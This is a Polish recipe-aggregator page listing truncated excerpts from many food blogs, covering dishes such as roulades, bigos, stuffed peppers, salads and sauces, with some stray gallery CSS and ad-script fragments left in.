obsmażamy roladki zaczynając od miejsca w którym skończyliśmy je zwijać. Obsmażamy je ze wszystkich stron a następnie zalewamy wodą, przykrywamy i dusimy na małym ogniu do miękkości, dbając aby sos się nie wygotował. Jeśli jest go mało można dolać wody. Roladki możemy podawać z ziemniakami, kluskami lub kasza gryczaną. czas przygotowania ok 1,5 h. Smacznego   The post Roladki

Kulinarna Patilogia
Bigos ze świeżymi grzybami 427

śpiewają oburzeni końcem lata podczas gdy grzybiarze bardziej optymistycznie patrzą na świat Co zrobić gdy po udanej wycieczce do lasu półki z marynowanymi grzybkami pękają w szwach, a na sos grzybowy nie możecie już patrzeć? BIGOS!!!! Tradycyjny, sycący, pachnący grzybami Mniam ! Składniki: 1,5 kg białej kapusty 1 kg kiszonej kapusty 0,7 kg kiełbasy 1,3 kg łopatki

Kulinarna Patilogia
Nadziewana papryka 183

upieczeniu papryki ostrożnie wyjmujemy a do pozostałej wody dodajemy koncentrat pomidorowy lub pomidory z puszki i doprawiamy do smaku sola pieprzem i papryką. I tak mamy nadziewane papryki z sosem pomidorowym. Mówię wam – nadziewana papryka jest pycha ! The post Nadziewana papryka appeared first on Kulinarna Patilogia

Kulinarna Patilogia
Gulasz w stylu śląskim czyli roladki dla leniuchów 196

surowego wędzonego boczku sól, pieprz, musztarda Przygotowanie: Wołowinę i boczek kroimy w kostkę 1,5 – 2 cm. Kawałki wołowiny obtaczamy w mące, która potem lekko zagęści nasz sos. Boczek wrzucamy do garnka, w którym będziemy robić gulasz i podsmażamy. Cebulę kroimy w piórka (najpierw kroimy cebulę wzdłuż na pół, a następnie każdą połówkę w poprzek na paski) Kiedy boczek

Kulinarna Patilogia
Sałatka z arbuzem i kiełkami 203

Zawarte w oleju kwasy omega-3 pozwalają obniżyć poziom złego cholesterolu. Olej Rydzowy ma szerokie zastosowanie w kuchni. Jest najczęściej używany do przygotowania sałatek, surówek, śledzi, kasz, ziemniaków, mięs, sosów czy majonezów. Ja użyłam oleju do przygotowania sałatki owocowo- warzywnej. Olej ma bardzo ciekawy smak i zapach. Nadał sałatce wspaniałego aromatu.  Produkt wart polecenia i zakupu. Zdecydowanie zagości

Tradycyjna kuchnia Kasi
Klopsiki z natką pietruszki 209

mocnego zarumienienia, po czym podlewamy bulionem i gotujemy przez 20-25 minut. W 100 ml wody rozrabiamy mąkę z łyżką śmietany, zalewamy gotujące klopsy i gotujemy do zgęstnienia sosu. Doprawiamy do smaku

Kulinarny Świat Konczi i Szpileczki
Pesto z rzodkiewki 191

już wiecie i wcześniej pisałam wszystko co zielone i jadalne można przerobić na pesto czyli zielony sos do makaronu w stylu włoskim lub pastę do kanapek. Tym razem pod młotek wzięłam młode listki rzodkiewki. Pesto jest lekko ostrawe i pyszne, ja używam do smarowania pieczywa ale równie dobrze sprawdzi się z makaronem, popróbujcie. Pesto z rzodkiewki. ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
Sałatka z jarmużu z orzechami 227

sumie pełne danie objadowe. Składniki: pół paczki jarmużu puszka kukurydzy 3 jajka na twardo 1 mała czerwona cebulka pół szklanki kaszy jaglanej pół szklanki orzechów włoskich dwa pomidory Sos: 3 łyżki jogurtu greckiego 2 łyżki oliwy 3 ząbki czosnku pieprz i sól "do smaku" Wykonanie: Jogurt mieszamy z oliwą i musztardą do której dodajemy zgnieciony czosnek i przyprawy "do smaku

Lubczyk i Wanilia
PĘCZOTTO Z POLĘDWICZKĄ I MŁODĄ KAPUSTĄ 223

jego całkowitego wchłonięcia. Zrób tak samo z ostatnią porcją bulionu . Całość powinna zająć jakieś 20-25 minut . Na koniec dodaj polędwiczki wraz z powstałym z nich w pojemniku sosem oraz posiekaną w 3 cm paski kapustę. Podduś całość jeszcze jakieś 2-3 minuty , aż kapusta zmięknie. W razie potrzeby posól i popieprz do smaku. Gotowe! Smacznego

Słodko-Słony Świat Ilony
Grillowane szparagi 230

talerzu. Próbowaliście wersje z grilla? Przepis jest banalny! Szparagi umyć i surowe położyć na rozgrzany grill. Grillować aż staną się miękkie i chrupiące. Do szpargów polecam sos jogutowy lub czosnkowy. Do tego kurczak z grilla w marynacie miodowo-musztardowej. Mmmm pycha! fot. Justyna Hącza  Continue Reading

Głodni Wrażeń - fit przepisy
Sałatka grecka 203

każdym ogórkowym grillu, Polacy ją pokochali. Tyko czy te sałatki na pewno są greckie? Cóż odbiegają zazwyczaj od pierwowzoru bo do klasycznej sałatki nie dodaje się ani salaty, ani sosu winegret, co często robimy. Proste warzywa, feta i oliwa to wszystko co potrzebujemy by ja zrobić. Nic więcej, no może odrobinę Grecji, która zagościła obecnie w sieci sklepów Lidl czyli

Bernika - moj kulinarny pamietnik
Mało Obiektywna Recenzja - Tu Lis Ma Nore Bistro Ruda Śląska 205

koperku. Wstyd się przyznać, ale i ją zjadłem. Z karty stałej zamówiliśmy sobie ciabattę, wybraliśmy "cziken sznita". I tu zatrzymam się tylko na chwilę, bo poza ostrym, wyraźnie czosnkowym sosem czosnkowym (masło maślane, ale właśnie tak miało być; jak spróbujecie to zrozumiecie), który oczywiście był wyjątkowy, dobrze przygotowanym mięsie i odpowiedniej proporcji dodatków, następnym razem zamówię sobie samą ciabattę. Uwierzcie

BaRepas
Muszelki, kurczak, sos pomidorowy i obiad 239

szybko i na jednopalnikowej maszynce do gotowania. No i było szybko i pysznie i dlatego polecam danie gorąco. Do tego jest przepyszne a miny zajadających bardzo zadowolone. Muszelki, kurczak, sos pomidorowy i obiad. ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
Kurczak w sosie jogurtowo-koperkowym 198

mąką pełnoziarnistą i jogurtem naturalnym do gładkiej konsystencji. Zalać tak przygotowaną zawiesina usmażone mięso i dusić wszystko razem na patelni na wolnym ogniu ok 10 minut do zgęstnienia sosu. Pod sam koniec dodać posiekany koperek - u mnie mrożony z poprzedniego sezonu - przyprawić solą oraz pieprzem i jeszcze chwilę poddusić. Wszystko gotowe, więc można zabierać się za jedzenie! Wyłożyć na talerz

Grunt to przepis!
Wiosenna sałatka z tuńczykiem i chipsami warzywnymi 169

Moje ulubione wiosenne warzywa w jednej pysznej sałatce. Tuńczyk sprawia, że danie jest bardziej sycące a warzywne chipsy dodają mu wyrazistości. Gorąco polecam :) puszka tuńczyka w kawałkach w sosie własnym 2 ugotowane na twardo jaja kilka rzodkiewek zielony ogórek pół pęczka cienkich szparagów łyżka pikantnej oliwy limonka sól, pieprz do smaku   mały burak i mała marchew (lub gotowe chipsy

Mienta blog
Gołąbki bez zawijania ( z kapustą w środku) 403

formujemy kotleciki. Podsmażamy je na rozgrzanym oleju po 2 minutki z każdej strony. Następnie przekładamy gołąbki do garnka i zalewamy koncentratem wymieszanym z wodą. Gotujemy 30 minut, przyprawiamy sos solą i pieprzem. Gołąbki podałam na  Porcelana Bogucice

Aga w kuchni
Bazyliowa panna cotta z truskawkami i syropem z bzu. Odwagi! 285

będą drobinki bazylii. Podawać z truskawkami i syropem z bzu. Poezja! Najprawdziwsza! Przepis na biszkopt bazyliowy znajdziecie tutaj - klik.  Polecam też bardzo "pływające wyspy" , czyli "cytrynowy śnieg" z sosem bazyliowym  - klik

KUCHARNIA
Krokiety z brokułami i camembertem 480

zrobiła się ciepła). Dodać pokrojony ser. Gotować aż do rozpuszczenia się sera, co jakiś czas mieszając. Na koniec dodać pokrojone zioła (bazylię i oregano) i zamieszać. Przygotowanym sosem zalać brokuły z cebulą. Naleśniki nadziać farszem i złożyć. Jajka wymieszać widelcem z odrobiną soli. Naleśniki maczać kolejno w jajkach oraz bułce tartej. Smażyć na mocno rozgrzanej oliwie z obu stron

Bullio
grillowane piersi kurczaka w marynacie imbirowej 242

godzin do lodówki. Po tym czasie wyciągamy mięso z lodówki i nabijamy ciasno na patyczki do szaszłyków. Układamy na mocno rozgrzanym grillu i zrumieniamy z każdej strony. Podajemy np sosem czosnkowym

Domowy Smak Jedzenia
Gravlax 177

szklanki)  koper chrzan, starty na tarce (2 cm) sól, pieprz Posiekany koper mieszamy z jogurtem naturalnym oraz startym chrzanem. Doprawiamy solą i pieprzem. Gotowe gravlax podajemy z sosem i grzankami

Mango Papaja
Corn-dogi 678

dogi na raz, żeby tłuszcz nie stracił temperatury). Smażymy 3-6 minut, aż ciasto ładnie się zarumieni. Wyciągamy na ręcznik papierowy do odsączenia. Podajemy z ketchupem lub innym ulubionym sosem. Smacznego

My Culinary Art
PROSTA ZAPIEKANKA Z TORTELLINI I MOZZARELLĄ 17391

lodówce miałam opakowanie tortelloni (ciut większe tortellini) i nie wiedziałam co mam z nimi zrobić. Pomyślałam, że może je zapiekę i powstanie bardzo prosta zapiekanka . Zakasałam rękawy, ugotowałam kremowy sos pomidorowy i przygotowałam danie. Nam naprawdę smakowało :). Polecam! Przepis ze zdjęciami krok po kroku . Jeżeli przygotowałaś/eś danie z tego przepisu, prosimy o jego zdjęcie :). Wyślij je na adres

Przepisy Aleksandry
Sałatka z mozarellą i awokado 240

grubą kostkę. Cukinie kroimy w grube plastry i smażymy na klarowanym maśle z obydwu stron. Dodajemy do pozostałych składników, polewamy oliwą z oliwek lub olejem lnianym. Sałatkę podajemy z sosem kremowym balsamico posypaną sezamem i ew. pestkami dyni. Smacznego

Taste Of My Day
Spaghetti aglio olio z kurczakiem grillowanym w nowej odsłonie 273

Przyszła mi wczoraj chęć na makaron, ale delikatny, bez ciężkiego sosu, czy mięsa. W najlepszej w Polsce trattorii La Campana w Krakowie jedliśmy kiedyś z Żoną Mą Linguine alla campagnola, rewelacyjne danie, które było inspiracją do stworzenia mojej wersji tej włoskiej pasty. Czego nam potrzeba? -pomidorki cherry -pierś z kurczaka pokrojona w kostkę -bazylia drobno posiekana -parmezan starty łyżka -oliwa

BaRepas
Pokrzywowe kotlety ziemniaczane z kapustą 182

poszatkowaną pokrzywę z natką. Doprawić do smaku. Uformować kotlety, obtoczyć w bułce tartej i smażyć po kilka minut z każdej strony na złoty kolor. Ja zjadłam z jogurtowym sosem... Smacznego

Gaździnka warzy
Pizza ze szparagami 199

czerwiec to okres, w którym one królują na naszym stole. Szparagi zawijane w boczek (roladki ze szparagami) Kremowa zupa szparagowa z serem Zupa szparagowa krem szparagi z sosem holenderskim W sezonie szparagowym proponuję inny sposób na ich wykorzystanie. Prosta wiosenna pizza ze szparagami, papryką i żółtym serem lazur to moja propozycja na wykorzystanie zielonych szparagów. To świetny pretekst aby zrobić

Damsko-męskie spojrzenie na kuchnię
Żywność liofilizowana - krem grzybowy :) 178

grzybów. Świetnie dobrane przyprawy. Wyważona ilość soli. Pycha! Konsystencja: Uwielbiam zupy w postaci kremu, dlatego też krem grzybowy bardzo mi odpowiadał. Nie był zbyt gęsty ani nie przypominał zawiesistego sosu. Dobrze dobrana konsystencja, nie w pełni gładka, sprawiła, że danie było jeszcze bardziej atrakcyjniejsze :) Widocznymi elementami były maluteńkie kawałki grzybków - podgrzybków i pieczarek :)  Zapach: Krem pachnie bardzo naturalnie

Zdrowie na języku :P
makaron z sosem śmietanowo-pieczarkowym 156

Polecam przepis na makaron z sosem śmietanowo – pieczarkowym z tymiankiem i bazylią.. Produkty

Ugotujmy Coś
Szparagi duszone w dietetycznym sosie. Szparagi jako znakomity afrodyzjak a także źródło witamin niezbędne dla kobiet w ciąży i 189

Lekarstwa , Indywidualną dietę oraz najwyższej jakości SuperFoods . Zapraszam serdecznie. Sprawdź. J eśli planujesz kolację ze szparagami w roli głównej, wykorzystaj mój przepis na duszone szparagi. * Szparagi Duszone z dietetycznym sosem * S kładniki na 4 porcje :   szparagi zielone 4 pęczki, olej kokosowy 1 łyżka mąka bezglutenowa 1 łyżeczka, jogurt naturalny odtłuszczony 1/2 szklanki, cytryna - sok z 1/2 cytryny, sól himalajska

IzaGotuje
Dietetyczne curry z kalafiorem 187

Dzisiaj przepis na pyszne i bardzo zdrowe curry z kalafiorem, pomidorami, marchewką w jogurtowym sosie, z niesamowicie zdrową przyprawą, która stała się ostatnimi czasy wielką sensacją wśród wszystkich, którzy zdrowo się odżywiają, jeśli jeszcze nie słyszeliście o prozdrowotnych właściwościach tej niesamowitej przyprawy, zapraszam do przeczytania tutaj Składniki :  - 2 duże marchewki - dwie małe cebule ( ja dałam jedną białą i jedną

zdrowa vege kuchnia
Winny sos czereśniowy zwany ketchupem. 214

dodać, bo nazwał tak to pewien mistrz z trzema gwiazdkami od którego mam ten przepis. Ogólnie mistrzów się nie poprawia, podobno, jednak ja nie byłbym sobą i trochę namieszałem. Sos ten zastosowanie ma mieć do hamburgerów, jednak jego słodko-kwaśna nuta, delikatna tekstura o wiele poszerzają horyzonty przeznaczenia. Jak to zrobić, dla domowych potrzeb bez pasteryzowania? -1/2 kg czereśni

BaRepas
Stroganow 293

stron przez ok. 5 minut. Cebula powinna się zeszklić, ale raczej nie ściemnieć. Mięso z cebulą przekładamy do garnka, w którym będziemy gotować nasze danie, pozostawiając jednak na patelni sos ze smażenia. Na nim z kolei podsmażamy przez chwilę pieczarki – powinny wchłonąć cały płyn z patelni i lekko się zezłocić. Pieczarki dorzucamy do mięsa i zalewamy całość bulionem, najlepiej ciepłym

Kulinarna Pokusa
Potrawka warzywna z salami 274

zwykle gotują się ok. 15-20 minut, ale trzeba to po prostu sprawdzić. Nie mogą być ani półsurowe, ani rozgotowane. Potrawę podajemy na gorąco w miseczkach. Składniki stałe podlewamy sosem. Przez Krystian Zainspirowany przez Podróże kulinarne – Kuchnia węgierska. Zainspirowany przez Podróże kulinarne – Kuchnia węgierska. Kulinarna Pokusa/div> #gallery-20 {margin: auto;} #gallery-20 .gallery-item {float: left;margin-top: 10px;text

Kulinarna Pokusa
Sałatka śródziemnomorska z wędzonym łososiem 214

pomidorków. Na jajkach umieszczamy po kilka plasterków łososia, a dookoła fetę. Całość posypujemy solą. Oliwę dokładnie mieszamy z koperkiem i 1 łyżką soku z cytryny. Powstałym w ten sposób sosem polewamy przede wszystkim jajka (aby nie wyschły), w dalszej kolejności pozostałe składniki sałatki. Na koniec posypujemy całość pieprzem. Gotową sałatkę dobrze jest wstawić na 1-2 godziny do lodówki

Kulinarna Pokusa
Szczupak po prowansalsku 213

temperaturze przez 30 minut (z termoobiegiem, bez niego – 40 minut) licząc od chwili, gdy płyn w naczyniu zacznie wrzeć. W międzyczasie warto 2 – 3 razy polać szczupaka maślano-octowym sosem, aby jego grzbiet nie uległ przesuszeniu. Przez Krystian Kulinarna Pokusa/div> #gallery-29 {margin: auto;} #gallery-29 .gallery-item {float: left;margin-top: 10px;text-align: center;width: 50%;} #gallery

Kulinarna Pokusa
Tagliatelle ze smażonym kurczakiem i szałwią 308

zmniejszamy ogień z powrotem do średniego. Liście szałwii układamy obok mięsa i smażymy całość przez 1, maksymalnie 2 minuty często mieszając. Mięso powinno się lekko zrumienić, a winno-maślany sos zrobić się gęsty. Zestawiamy patelnię z ognia i przykrywamy. W międzyczasie gotujemy makaron w wodzie z dodatkiem szczypty soli oraz łyżki oliwy. Koniec gotowania makaronu powinien przypaść na krótko

Kulinarna Pokusa
Sałatka walencka 308

następnie kroimy je w kostkę o boku 2-3 cm. Mieszamy ze sobą oliwę, sok pomarańczowy, miętę i czosnek. Owoce, warzywa i ser mieszamy ze sobą, stopniowo podlewając sosem pomarańczowym. Gdy wszystko dokładnie wymieszamy, wkładamy sałatkę przykrytą folią spożywczą na przynajmniej 30 minut do lodówki, aby wszystkie składniki dobrze się ze sobą połączyły. Przez Krystian Kulinarna Pokusa/div> #gallery-38 {margin

Kulinarna Pokusa
Sałatka z wędzonego kurczaka z avocado, jajkiem i roszponką 276

roszponkę mieszamy w dużej misce. Następnie wykładamy na talerze. Jajka rozcinamy na pół i kładziemy u góry. Musztardę, oliwę i 1 łyżkę cytryny dokładnie mieszamy. Powstałym w ten sposób sosem polewamy jajka i pozostałe składniki sałatki. Na koniec posypujemy całość pieprzem i ew. niewielką ilością soli. Podajemy z chrupiącym pszennym pieczywem. Przez Krystian Kulinarna Pokusa/div> #gallery-60 {margin: auto;} #gallery

Kulinarna Pokusa
Ratatouille 221

kolejności od gotujących się najdłużej do najkrócej. Różnie można też podejść do kwestii czy pomidory, cebula i czosnek (o ile dodamy ten ostatni) powinny przyjąć raczej postać gęstego sosu, czy też może zachować swoją strukturę pociętych na większe kawałki warzyw. Ja stosuję tę drugą technikę. Ratatouille to obecnie już dosyć znana w Polsce potrawa. I bardzo dobrze – jest lekka, zdrowa

Kulinarna Pokusa
Krokiety z mięsem z rosołu i pieczarkami 209

kości i chrząstki. Kroimy na mniejsze kawałki, podobnie jak warzywa. Blendujemy w taki sposób, aby rozdrobnić składniki, ale niekoniecznie powinna to być bardzo gładka masa (patrz zdjęcia). Odsączone z sosu z duszenia pieczarki również blendujemy zachowując niewielkie (1-2mm) kawałki grzybów. Dodajemy je do mięsa i mieszamy dokładnie ze sobą wszystkie składniki doprawiając w międzyczasie solą i białym pieprzem

Kulinarna Pokusa
Żeberka z warzywami i pęczakiem 281

marchewkę i seler na dole, cebulę u góry). Możemy dodatkowo posypać warzywa pieprzem. Dusimy pod przykryciem na bardzo małym ogniu do miękkości żeberek – przez ok. 90 minut. Kontrolujemy ilość sosu i w miarę potrzeby dolewamy wody. Pod koniec duszenia mięsa i warzyw gotujemy pęczak zgodnie z zaleceniami producenta. Zwykle odbywa się to w ten sposób, że opłukaną w zimnej wodzie

Kulinarna Pokusa
Pieczeń rzymska 191

Zależnie jak na nie spojrzeć może równie dobrze nasuwać skojarzenia z pasztetem jak i z kotletami mielonymi. Zazwyczaj podaje się ją na zimno z dodatkiem czegoś kwaśnego (kiszony ogórek, sos tatarski) oraz z pieczywem, co jest zresztą dość typowe dla mielonych mięs. Z drugiej strony zważywszy, że skład i sposób wykonania nie różni się aż tak bardzo od typowych kotletów

Kulinarna Pokusa
Pasztet z kaczki 310

dodając też odrobinę wody, co jednak nie powinno być konieczne. Boczek kroimy w niedużą kostkę i blendujemy na gładką masę. Wątróbkę z cebulą i czosnkiem po przestygnięciu wyjmujemy z sosu z duszenia i również blendujemy na gładko. Z upieczonej kaczki usuwamy skórę, mięso kroimy na mniejsze kawałki, po czym blendujemy – dość starannie, ale niekoniecznie tak gładko jak boczek i wątróbkę

Kulinarna Pokusa
Pieczona szynka z kapustą 233

stopni. Pieczemy przez 2 godziny. Na ostatnie 10 minut pieczenia zdejmujemy przykrycie brytfanny. Podajemy albo na ciepło z pieczonymi ziemniakami, duszoną kapustą kiszoną z ananasem i jabłkiem oraz sosem z pieczenia, albo jako zimną przystawkę, np. z majonezem i pieczywem. Przez Krystian Kulinarna Pokusa/div> #gallery-88 {margin: auto;} #gallery-88 .gallery-item {float: left;margin-top: 10px;text-align: center

Kulinarna Pokusa
Golonka pieczona z warzywami 237

ziemniaki i pomidory (te drugie u góry), przesypując je resztą soli i pieprzu. W razie potrzeby można dolać jeszcze nieco wody. Mięso podajemy na ciepło z warzywami i ewentualnie sosem z pieczenia. Przez Krystian Kulinarna Pokusa/div> #gallery-95 {margin: auto;} #gallery-95 .gallery-item {float: left;margin-top: 10px;text-align: center;width: 50%;} #gallery-95 img {border: 2px solid

Kulinarna Pokusa
Klopsy wołowe 292

początkowo szczelnie przykryte np. folią aluminiową. Pieczemy przez 45 minut. Na 10 minut przed końcem usuwamy przykrycie, i odwracamy klopsy na drugą stronę (wcześniej mięso powinno wypuścić niewielką ilość sosu, który teraz zapobiegnie wysuszeniu jego powierzchni). W międzyczasie obieramy cebulę, dzielimy wzdłużnie na pół, po czym kroimy w cienkie półtalarki. Dzielimy je następnie na poszczególne piórka. Ogórki kroimy na dość

Kulinarna Pokusa
Gulasz z serc z indyka 342

Dodajemy seler, marchewkę i paprykę. Posypujemy majerankiem i mieszamy wszystkie składniki. Gotujemy jeszcze przez kolejne 30 minut, czasami mieszając. W zasadzie pod przykryciem, ale jeśli stwierdzimy pod koniec, że sos jest zbyt rzadki, możemy odparować nadmiar wody. Pod koniec możemy też dodać do smaku więcej soli i pieprzu. Przez Krystian Kulinarna Pokusa/div> #gallery-108 {margin: auto;} #gallery-108 .gallery-item

Kulinarna Pokusa
Sałatka nicejska 345

Rozłożone składniki możemy posypać dodatkowo solą i/lub pieprzem do smaku. Z koperku usuwamy łodyżki i bardzo drobno go siekamy. Mieszamy z 4 łyżkami oliwy i 3 łyżkami cytryny. Powstałym sosem polewamy sałatkę. Przez Krystian Kulinarna Pokusa/div> #gallery-112 {margin: auto;} #gallery-112 .gallery-item {float: left;margin-top: 10px;text-align: center;width: 50%;} #gallery-112 img {border: 2px solid

Kulinarna Pokusa
Taki inny gulasz – z ryżem i kiełbaską 175

cebule 200 g ryżu 300 g kiełbasy zwyczajnej 300 g pieczarek Pęczek natki pietruszki 1 łyżeczka ostrej czerwonej papryki Piątnica  (kupisz tutaj) 1 łyżeczka przyprawy do mięs i sosów Rafex  (kupisz tutaj) Sól, Pieprz 1,5 szklanki bulionu 3 łyżki keczupu Cebulę obieramy i kroimy w piórka, kiełbasę w pół plasterki. Rozgrzewamy olej na patelni, szklimy cebulę

VioletoweKucharzenie
Pieczony camembert 230

talerzu ułożyć rukolę. Posypać orzechami włoskimi. Na wierzch położyć wcześniej przygotowane jabłka. Camembert wyjąć z piekarnika i położyć na talerzach. Wokół ułożyć kawałki usmażonej bagietki. Sałatkę polać sosem winegret. Flambirowanie camembertu (opcjonalne): Z sera odkroić skórkę z wierzchu, aby odsłonić rozpływające się wnętrze. Podgrzać kilka łyżek alkoholu. Gdy będzie gorący, polać 2 łyżkami sery i podpalić zapalniczką. Alkohol wyparuje

Piąty grzech główny
Domowe nuggets'y 235

ciasta.  Każdy kawałek panierujemy najpierw w mące, potem w jajku i na koniec w płatkach kukurydzianych. Smażymy na rozgrzanym oleju na złoty kolor. Idealnym dodatkiem będzie Kremowy sos curry

Piąty grzech główny
Kremowy sos curry 212

sos jest dobrym dodatkiem do... wszystkiego! A z wszystkiego najlepiej pasuje do kurczaka, pod każdą postacią. Nie może go zabraknąć w sezonie grillowym :)  A największą jego zaletą (zaraz po smaku) jest szybkość przygotowania. Składniki: kubek jogurtu greckiego łyżeczka majonezu płaska łyżeczka curry szczypta ostrej papryki Przygotowanie: Wszystkie składniki dodać do jogurtu i dokładnie wymieszać. Odstawić na około 15 minut

Piąty grzech główny
Francuskie poduszeczki 273

pieprzem. Nałożyć po łyżce masy do każdej foremki. Piec w piekarniku nagrzanym do 180°C przez 20-25 minut. Podawać ciepłe. Przekąski doskonale komponują się z  kremowym sosem curry

Piąty grzech główny
Grzyby w zalewie solankowej 203

Grzyby w zalewie solankowej Grzybki te są świetne ponieważ smakują jak świeże grzyby ugotowane, a wodę od nich można dodawać do zup i sosów, bigosu (a nawet zamrozić na potem) i nada ona smaku grzybowego... SKŁADNIKI: kurki/grzyby ile potrzeba, sól WYKONANIE: Kurki oczyścić i zagotować w garnku, gotować z 15 minut na średnim ogniu, potem je wylać na durszlak

Tradycyjna kuchnia inaczej
Paprykowe skrzydełka 362

Piec 40 minut ( po 20 minut z każdej strony ). Po upieczeniu posolić. Uwaga – sprawdzona rada 1)        aby złagodzić smak marynaty, skrzydełka podajemy z sosem musztardowo-ketchupowym ( mały jogurt, 2 łyżki łagodnej musztardy, 1 łyżeczka łagodnego ketchupu, szczypta soli i pieprzu ). Życzę smacznego. Komentarze oraz lajki mile widziane :) (adsbygoogle = window.adsbygoogle || []).push

Świat Smaku
British breakfast 218

Tradycyjne brytyjskie śniadanie jest bardzo obfite i przede wszystkim tłuste. Składa się ze smażonych jajek, ziemniaków, bekonu, kiełbasek, fasolki w sosie pomidorowym, pomidorów i tostów. Dodatkowo można dostać black pudding (kaszanka) lub pieczarki smażone na maśle. Jest również wersja wegetariańska, w której podaje się szpinak i tofu. Jadłam je w The Bristolian. Smaczne miejsce, w którym

Pink Envelope
Ciasto na naleśniki 282

pasują i do podawania na słodko z dżemem, bitą śmietaną, cukrem pudrem czy dowolnymi owocami, i do podawania na wytrwanie - z mięsem, z warzywami, zapiekane z serem czy z sosem. Wiele osób cukier dodaje zupełnie niepotrzebnie. Po pierwsze jest to niezdrowe dla organizmu, a po drugie po co? Podając naleśniki na słodko, właśnie tym słodkim nadzieniem gwarantujemy słodki smak

Jedzeniomania
Placuszki pszenno-gryczane z sosem truskawkowo-borówkowym 189

Dzisiaj placki na śniadanie a to znaczy tylko tyle, że będzie pysznie. Tylko tyle i aż tyle. Placuszki są puszyste, delikatne a polane słodkim, owocowym sosem bardzo smakowały wszystkim domownikom. Nasze ulubione placki to od zawsze Placki z jabłkami - te smażę najczęściej i to nie tylko na śniadanie. Ale dzisiaj zrobiłam inne, chociaż równie pyszne! ROZWIŃ I CZYTAJ DALEJ

Smaczna Pyza
Śniadaniowa pasta z tuńczyka i twarożku 174

pośpiechu i śpieszymy się do pracy. Takie kanapeczki możemy zabrać ze sobą bo świetnie spisują się w lunchboxach. Składniki:   250 g twarożku półtłustego 100 g tuńczyka w sosie własnym pęczek szczypiorku sól i pieprz do smaku Wszystkie składniki znajdziecie tutaj Przygotowanie: Twarożek dobrze rozdrabniamy widelcem i dodajemy tuńczyka, wszystko dokładnie ze sobą mieszamy. Dodajemy posiekany drobno szczypiorek

Niezły Młynek
20 NAJLEPSZYCH PRZEPISÓW Z TRUSKAWKAMI 262

ajerkoniakiem 17. Sernik na zimno z owocami lata 18. Biszkopt bezglutenowy z jogurtową pianką i truskawkami 19. Sernik na zimno z truskawkami 20. Truskawkowa panna cotta z pysznym sosem Smacznego

Przepisy Aleksandry
Mega zdrowe śniadanie dla dzieci...i nie tylko! 247

graham z dobrej piekarni- to bułka ciężka, zbita, to taka , która „dłużej się je” -świeże masło opcjonalnie -papryki czerwona i zielona -rzodkiewka -pomidor -seler naciowy -ogórek -bazylia -kilka kropel sosu sojowego z octem balsamicznym z Modeny zamiast soli Pokrój bułki na kromki i posmaruj masłem. Ułóż wesołą kompozycję na talerzu. Moje dzieci uwielbiają takie jedzenie, nie grymaszą, gdyż na takim

Z Kuchni Do Kuchni
Warzywa na patelnię i pierś z kurczaka czyli mój Przepis na Mega Szybki Obiad. Co na obiad? To mój pomysł na obiad! 276

lubczyk i przyprawy. Podlej wodą i duś pod przykryciem do uzyskania efektu warzyw al dente. Następnie do warzyw dodaj kurczaka i podsmaż przez chwilę do miękkości. Podawaj razem z sosem własnym uzyskanym podczas duszenia warzyw. Gotowe! Smacznego! Jeśli potrzebujesz profesjonalnej  pomocy przy ułożeniu diety,  skorzystaj ze specjalnej oferty: Tylko dla  moich czytelników  do  końca maja

IzaGotuje
Proste ciasto bananowo-karmelowe czyli poWeeendowe Lakocie odc.89 173

keksówki. Pieczemy ok 1 godziny. Sprawdzamy patyczkiem stopień upieczenia. Przygotowujemy polewę. Do garnuszka wlewamy śmietankę i wsypujemy cukier. Gotujemy ok 10 minut by masa zgęstniała. Ciasto podajemy polane ciepłym sosem

Dzieje kuchennej Wiewióry
Dania obiadowe - ryby 240

szpinakiem i serem     Dorsz atlantycki z piekarnika   Pstrąg smażony     Łosoś na parze     Łosoś smażony   Łosoś z piekarnika   Dorsz atlantycki w sosie czosnkowo-koperkowym     Pstrąg łososiowy na parze   Dorsz atlantycki w cytrynie   Smażony śledź atlantycki

Passions hobbies life
Makaron pełnoziarnisty z duszonymi warzywami , olejem rzepakowym tłoczonym na zimno i Grzybami Mun 215

zamknij garnek. Duś. Pokrój grzyby w paseczki, dodaj do jarzyn. Dopraw pieprzem ziołowym , olejem jeśli chcesz dodac bardziej wyrafinowanego orzechowego smaku. Gotuj do miękkości na małym ogniu, w sosie własnym. Ugotuj fusilli al dente. Makaron pełnoziarnisty Fusilli Green Spoon to pełnia smaku polskich zbóż. Smak i forma zostały uwolnione przez mistrzów tradycyjnego młyna, których wiedza zaczerpnięta jest z rodzinnych ekologicznych

Z Kuchni Do Kuchni
Ciasto na pizzę bez drożdży 281

miękkie, elastyczne, nieco luźne, ale zachowujące okrągły kształt. blachę do pieczenia posmarowałam olejem i rozpłaszczyłam na niej ciasto - moje wyszło cienkie, ale kształt i grubość mogą być dowolne. Bazą sosu do pizzy u mnie jest zwykle kilka łyżeczek koncentratu pomidorowego wymieszanego z przyprawami np.: suszoną bazylią, oregano, tymiankiem etc. Oprócz sera żółtego dodaję zwykle zielone oliwki, wędlinę lub kiełbasę, pieczarki

apetytnapieczenie
Spaghetti carbonara 225

jajkiem i serem żółtym. Doprawić solą, pieprzem i gałką. Odcedzić makaron kiedy będzie ugotowany. W garnku/patelni stopić trochę masła, dodać wędlinę i krótko podsmażyć. Dodać makaron i polać sosem śmietanowym, wymieszać i odstawić na jakiś czas. Podawać na gorąco

W kuchni bez szafek
Sałatka grecka 320

każdym ogórkowym grillu, Polacy ją pokochali. Tyko czy te sałatki na pewno są greckie? Cóż odbiegają zazwyczaj od pierwowzoru bo do klasycznej sałatki nie dodaje się ani salaty, ani sosu winegret, co często robimy. Proste warzywa, feta i oliwa to wszystko co potrzebujemy by ja zrobić. Nic więcej, no może odrobinę Grecji, która zagościła obecnie w sieci sklepów Lidl czyli

Bernika - moj kulinarny pamietnik
ZIELONA SAŁATKA Z BROKUŁEM 233

natki pietruszki 10 dag sera - u mnie koryciński swojski Czesławy Zarzeckiej z suszonymi pomidorami, czosnkiem  i bazylią garść pestek słonecznika 2 łyżki siemienia lnianego  1 ząbek czosnku sos: 2 łyżki oliwy z oliwek 2 łyżki soku z cytryny odrobina octu balsamicznego 1 łyżka płynnego miodu sól,pieprz ulubione zioła i przyprawy: u mnie papryka ostra,   Wykonanie: Brokuła

Z Majeczką w kuchni
Karkówka zapiekana z warzywami i serem 380

